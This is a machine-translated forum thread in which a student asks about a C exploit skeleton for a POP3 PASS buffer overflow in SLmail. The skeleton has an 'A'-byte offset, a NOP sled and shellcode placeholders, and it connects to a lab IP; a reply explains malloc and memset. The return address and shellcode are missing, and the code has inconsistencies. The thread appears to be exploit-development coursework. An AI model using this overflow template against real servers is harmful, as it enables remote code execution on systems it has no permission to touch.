Je prends un cours et il me faut manipuler ce code c pour travailler dans mes circonstances spécifiques. Je comprends la plupart d'entre eux cependant j'ai du mal à comprendre ce que plusieurs variables spécifiques c sont utilisées pour ci-dessous. Remarque J'ai supprimé des parties du code mais j'ai gardé intacte la zone en question.Utiliser SLmail 643 et comprendre comment je peux l'utiliser
Aussi je ne vous demande pas de faire mes devoirs, j'ai juste besoin d'aide pour comprendre certains domaines afin que je puisse le faire moi-même .. un coup de pouce utile, ou une poussée violente.
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define retadd "\x\x\x\x" */I removed the memory return*/
#define port 110
char buf[] = "Stuff will be put here"
struct sockaddr_in plm,lar,target;
int conn(char *ip)
{
int sockfd;
plm.sin_family = AF_INET;
plm.sin_port = htons(port);
plm.sin_addr.s_addr = inet_addr(ip);
bzero(&(plm.sin_zero),8);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
perror("[-] connect error!");
exit(0);
}
printf("[*] Connected to: %s.\n",ip);
return sockfd;
}
int main(int argc, char *argv[])
{
int xs;
char out[1024];
char *buffer = malloc(2958);
memset(buffer, 0x00, 2958);
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
char *nop = malloc(16);
memset(nop, 0x00, 8);
memset(nop, 0x90, 16);
strcat(buffer, off);
strcat(buffer, retadd);
strcat(buffer, nop);
strcat(buffer, shellcode);
printf("[+] SLMAIL Connection \n");
xs = conn("192.168.31.29");
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"USER username\r\n", 15);
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"PASS ",5);
write(xs,buffer,strlen(buffer));
printf("insert len: %d bytes\n",strlen(insert));
printf("Buffer len: %d bytes\n",strlen(buffer));
write(xs,"\r\n",4);
close(xs);
}
Qu'est-ce que le paramètre malloc (2958)? Est-ce la taille totale allouée pour le tampon? Aussi, quelle est la variable memset pour in c?
char *buffer = malloc(2958);
memset(buffer, 0x00, 2958);
Sous le malloc (2606) c'est la taille de l'octet requis pour enregistrer un point précis en mémoire, pourquoi est-il amoindri par 1 ci-dessous pour l'hexagone « A '2605?
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
Encore une fois je en position cela va ajouter 7 x90s au tampon, mais quelle est la signification de malloc et le 0x00 ici?
char *nop = malloc(8);
memset(nop, 0x00, 8);
memset(nop, 0x90, 7);
Merci.
D'un point de vue d'exploiter est-il important que 0x00 dans certains cas, pourrait être considéré comme un badchar et pourrait entraîner l'arrêt de l'application - ou cela n'a-t-il pas d'importance puisque nous le compilons? Il semble que le 0x00 Null soit simplement écrasé et non pertinent. Avez-vous besoin d'utiliser des valeurs nulles pour effacer l'espace ou est-ce une bonne pratique de programmation? – Brian
Je ne sais pas ce que le programmeur voulait. '0' ou' 0x00' ou 'NULL' n'est pas un" mauvais caractère ". Ce ne sont que des manières différentes d'exprimer la même chose (à condition que 'NULL' soit' 0', ce qui n'est pas garanti). Je ne faisais que commenter ce que vous avez demandé. Mais vu que c'est une question d'école, parfois le code qu'ils vous donnent doit être amélioré! NB ton récit sur 'nop' que j'ai cité dans ma réponse ne correspond pas au code' char * nop = malloc (16); memset (nop, 0x00, 8); memset (nop, 0x90, 16); 'Pourquoi zéro 8 des 16 octets, puis définissez tous les 16? –